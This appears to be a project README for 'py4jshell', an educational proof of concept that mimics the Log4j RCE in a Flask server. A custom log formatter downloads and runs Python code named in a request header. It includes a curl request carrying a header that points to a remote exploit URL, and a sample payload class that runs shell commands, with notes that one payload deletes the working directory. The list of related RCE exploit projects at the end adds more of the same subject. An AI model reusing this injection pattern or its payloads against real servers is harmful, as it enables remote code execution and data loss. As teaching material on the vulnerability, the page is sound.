Simulating Log4j Remote Code Execution (RCE) vulnerability in a flask web server using python's logging library with custom formatter that simulates lookup substitution by executing remote exploit code.

Overview

py4jshell

Simulating Log4j Remote Code Execution (RCE) CVE-2021-44228 vulnerability in a flask web server using python's logging library with custom formatter that simulates lookup substitution on URLs. This repository is a POC of how Log4j remote code execution vulnerability actually works, but written in python. Instead of using JNDI+LDAP, HTTP protocol is used for exploit code lookup.

Note 1: Do not use this in production, this is a demonstration of RCE.

Note 2 This is not a vulnerability in Python's logging library. We are writing a custom formatter for the logging library that simulates the inherit behaviour of Log4J library.

Note 3: The exploit code exploit/exploit2.py executes rm -rf . in the server's present working directory, if you want to try this, make sure you are running it inside a container and not directly on the host, as it may result in data loss.

How this works?

  1. A GET request is made to the flask web server (/hello) from a HTTP client.
  2. Flask framework invokes the logger to log this request, including the header.
  3. Since we have patched the python's logging library to use our own formatter, the format() method implemented by our formatter ShellishFormatter is invoked.
  4. The formatter performs original formatting and invokes check_substitute_pattern function which scans the string to be logged for ${{.+?}} pattern.
  5. If found, the URL inside this pattern is extracted, parsed and a HTTP GET request is made to the remote code hosting server pointed by the URL to download the exploit python code.
  6. A runnable python object is constructed from the downloaded code dynamically using exec and eval interpreter methods. This object contains the executable exploit code.
  7. Since we need to substitute the ${{.+?}} with the stringified result, we call str() over the object which calls __str__() method of the exploit object.
  8. Anything that is written inside the __str__() method is blindly executed unless it returns a string at the end.

Try it yourself:

1. Build the docker image:

First, built the docker image of the flask server using the provided Dockerfile.

docker build . -t py4jshell

2. Host the exploit code locally:

The directory exploit/ contains two sample python exploit codes. You can host these exploits anywhere on the internet, you can also do it locally by running a static HTTP server from that directory, as:

cd exploit
python -m http.server 8080

If everything is alright, you should see this message:

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

3. Start the container:

You can just open another terminal or anywhere in your local network, just start the server as follows:

docker run --rm -p 5000:5000 py4jshell

The container should start the web server, you should see the following message:

* Serving Flask app 'app' (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on all addresses.
   WARNING: This is a development server. Do not use it in a production deployment.
 * Running on http://172.17.0.2:5000/ (Press CTRL+C to quit)

4. Make get requests:

You can use curl or any other tool to make the GET request. Check exploit1.sh and exploit2.sh files. You can also formulate your own request as follows:

HEADER_VAL="\${{http://192.168.0.104:8080/exploit1.py}}"

curl -X GET -H "Agent: ${HEADER_VAL}" \
    http://localhost:5000/hello

Note the header value for Agent field, it contains a URL from where the exploit code is downloaded. If everything works fine, the server will download and execute the exploit code without complaining. You should see the output as below:

172.17.0.1 - - [17/Dec/2021 12:56:25] "GET /hello HTTP/1.1" 200 -
it worked!
Headers: Host: localhost:5000
User-Agent: curl/7.74.0
Accept: */*
Agent: Substituted text


172.17.0.1 - - [17/Dec/2021 12:56:44] "GET /hello HTTP/1.1" 200 -

As you an see there is it worked! message on the stdout, which is actually from the exploit code which runs os.system("echo it worked!"), check exploit/exploit1.py. Also, if you see the logs of the static http server which hosted the exploit code files, you should see:

172.17.0.2 - - [17/Dec/2021 18:26:44] "GET /exploit1.py HTTP/1.1" 200 -

Which indicates that there was a hit from the container to the static server to download the exploit code to perform remote code execution.

Passing parameters:

The sample formatter also supports passing custom parameters as arguments to the instantiated remote object, to pass parameters, you can encode them as GET URL parameters:

HEADER_VAL="\${{http://192.168.0.104:8080/exploit2.py?name=Prasanna}}"

Then in the exploit code you can receive them in the constructor:

str: # the loader will call str(object) during substitution # so this method must written a string and we can do other # creepy things here as well. # LoL! don't run this on the host machine. os.system("echo rm -rf .") return "Hi {}".format(self.name)">
class LogSubstitutor:
    def __init__(self, **kwargs) -> None:
        # do creepy things here.
        os.system("echo from constructor")
        self.name = kwargs.get("name", "NoName")

    def __str__(self) -> str:
        # the loader will call str(object) during substitution
        # so this method must written a string and we can do other
        # creepy things here as well.
        # LoL! don't run this on the host machine.
        os.system("echo rm -rf .")
        return "Hi {}".format(self.name)

Notes:

  1. This project is for educational purposes, it can be used to understand Remote code execution and how Log4j shell actually works and what makes it so dangerous.
  2. This has nothing to do with python's original logging library as it does not perform any string substitutions by downloading and executing code from remote URLs, this functionality is purely implemented inside the custom formatter which is actually vulnerable.
  3. Log4j uses JNDI + LDAP which is the way of performing lookups on remote Java objects. This method has been in practice since 1990 and has been used by lot of applications to solve some usecases. The actual LDAP + JNDI might not work exactly as how we have written the functionality in this repo, this is just a simulation.
  4. Every interpreted language can be tricked into attacks like this if they expose some or the other way of dynamic code execution using eval, which is most common in many interpreted languages. It is left to the developers to write better code and make the world safer.
You might also like...
A Python replicated exploit for Webmin 1.580 /file/show.cgi Remote Code Execution

CVE-2012-2982 John Hammond | September 4th, 2021 Checking searchsploit for Webmin 1.580 I only saw a Metasploit module for the /file/show.cgi Remote C

Exploit for GitLab CVE-2021-22205 Unauthenticated Remote Code Execution

Vuln Impact An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files tha

Übersicht remote command execution 0day exploit
Übersicht remote command execution 0day exploit

Übersicht RCE 0day Unauthenticated remote command execution 0day exploit for Übersicht. Description Übersicht is a desktop widget application for m

ProxyShell POC Exploit : Exchange Server RCE (ACL Bypass + EoP + Arbitrary File Write)

ProxyShell Install git clone https://github.com/ktecv2000/ProxyShell cd ProxyShell virtualenv -p $(which python3) venv source venv/bin/activate pip3 i

A small Minecraft server to help players detect vulnerability to the Log4Shell exploit 🐚

log4check A small Minecraft server to help players detect vulnerability to the Log4Shell exploit 🐚 Tested to work between Minecraft versions 1.12.2 a

 Simple Python 3 script to detect the
Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading

log4j-detect Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading The script

Simple Python 3 script to detect the
Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading

log4j-detect Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading The script

Log4j rce test environment and poc
Log4j rce test environment and poc

log4jpwn log4j rce test environment See: https://www.lunasec.io/docs/blog/log4j-zero-day/ Experiments to trigger in various software products mentione

BurpSuite Extension: Log4j RCE Scanner
BurpSuite Extension: Log4j RCE Scanner

BurpSuite Extension: Log4j RCE Scanner

Owner
Narasimha Prasanna HN
🧔Human | Indian | Programmer | Full Stack Developer | AI Engineer
Narasimha Prasanna HN
POC for detecting the Log4Shell (Log4J RCE) vulnerability.

log4shell-poc-py POC for detecting the Log4Shell (Log4J RCE) vulnerability. Run on a system with python3 python3 log4shell-poc.py <pathToTargetFile> <

BCC Risk Advisory 2 Dec 22, 2021
POC for detecting the Log4Shell (Log4J RCE) vulnerability

Interactsh An OOB interaction gathering server and client library Features • Usage • Interactsh Client • Interactsh Server • Interactsh Integration •

ProjectDiscovery 2.1k Jan 8, 2023
open detection and scanning tool for discovering and fuzzing for Log4J RCE CVE-2021-44228 vulnerability

CVE-2021-44228-log4jVulnScanner-metasploit open detection and scanning tool for discovering and fuzzing for Log4J RCE CVE-2021-44228 vulnerability pre

Taroballz 7 Nov 9, 2022
A proof-of-concept exploit for Log4j RCE Unauthenticated (CVE-2021-44228)

CVE-2021-44228 – Log4j RCE Unauthenticated About This is a proof-of-concept exploit for Log4j RCE Unauthenticated (CVE-2021-44228). This vulnerability

Pedro Havay 20 Nov 11, 2022
A scanner and a proof of sample exploit for log4j RCE CVE-2021-44228

1.Create a Sample Vulnerable Application . 2.Start a netcat listner . 3.Run the exploit . 5.Use jdk1.8.0_20 for better results . Exploit-db - https://

Isuru Umayanga 7 Aug 6, 2022
Exploit for CVE-2017-17562 vulnerability, that allows RCE on GoAhead (< v3.6.5) if the CGI is enabled and a CGI program is dynamically linked.

GoAhead RCE Exploit Exploit for CVE-2017-17562 vulnerability, that allows RCE on GoAhead (< v3.6.5) if the CGI is enabled and a CGI program is dynamic

Francisco Spínola 2 Dec 12, 2021
Log4Shell RCE Exploit - fully independent exploit does not require any 3rd party binaries.

Log4Shell RCE Exploit fully independent exploit does not require any 3rd party binaries. The exploit spraying the payload to all possible logged HTTP

null 258 Jan 2, 2023
Gitlab RCE - Remote Code Execution

Gitlab RCE - Remote Code Execution RCE for old gitlab version <= 11.4.7 & 12.4.0-12.8.1 LFI for old gitlab versions 10.4 - 12.8.1 This is an exploit f

null 153 Nov 9, 2022
On the 11/11/21 the apache 2.4.49-2.4.50 remote command execution POC has been published online and this is a loader so that you can mass exploit servers using this.

ApacheRCE ApacheRCE is a small little python script that will allow you to input the apache version 2.4.49-2.4.50 and then input a list of ip addresse

null 3 Dec 4, 2022
HTTP Protocol Stack Remote Code Execution Vulnerability CVE-2022-21907

CVE-2022-21907 Description POC for CVE-2022-21907: HTTP Protocol Stack Remote Code Execution Vulnerability. create by antx at 2022-01-17. Detail HTTP

赛欧思网络安全研究实验室 365 Nov 30, 2022